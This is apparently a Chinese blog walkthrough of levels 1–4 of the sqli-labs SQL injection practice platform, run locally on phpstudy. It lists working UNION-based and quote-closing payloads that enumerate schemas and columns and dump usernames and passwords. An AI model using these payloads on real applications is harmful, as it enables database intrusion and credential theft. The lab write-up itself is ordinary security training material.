SQLi_Lab闯关

简介

Sqli-libs是一个非常好的SQL注入学习实战平台,涵盖了报错注入、盲注、Update注入、Insert注入、Heather注入、二阶注入、绕过WAF,比较全面的一个注入平台。本次在phpstudy环境上部署sqli-labs 注入平台。

环境搭建

  • sqli-labs https://github.com/audi-1/sqli-labs
  • phpstudy https://jingyan.baidu.com/article/a3f121e4879a86fc9052bb05.html

Less-1

源码中可以看到get方式传入id,并未过滤拼接查询,只是要注意闭合单引号。

SQLi_Lab闯关_第1张图片
SQLi_Lab闯关_第2张图片

SQLi_Lab闯关_第3张图片

payload

1' order by 3%23   

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23

?id=-1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name= 'users')%23

?id=`1'union select 1,username,password from users where id=2%23

/Less-2

在这里插入图片描述
没有过滤,直接搞,payload参考上一个

Less-3

添加’之后,返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
可以得到大概的sql语句:

select * from users where id=(‘input’) LIMIT 0,1;
所以我们可以需要闭合)。
payload:
-1’) or 1=1%23

Less-4

尝试’并未发现报错,尝试”发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
可以得到大概的sql语句

select * from users where id = (“input”) LIMIT 0,1;
所以我们需要闭合双引号和括号
payload:

-1") or 1=1 %23
其他注入语句同上 ,就不再一一列举了。

你可能感兴趣的:(SQLi_Lab闯关)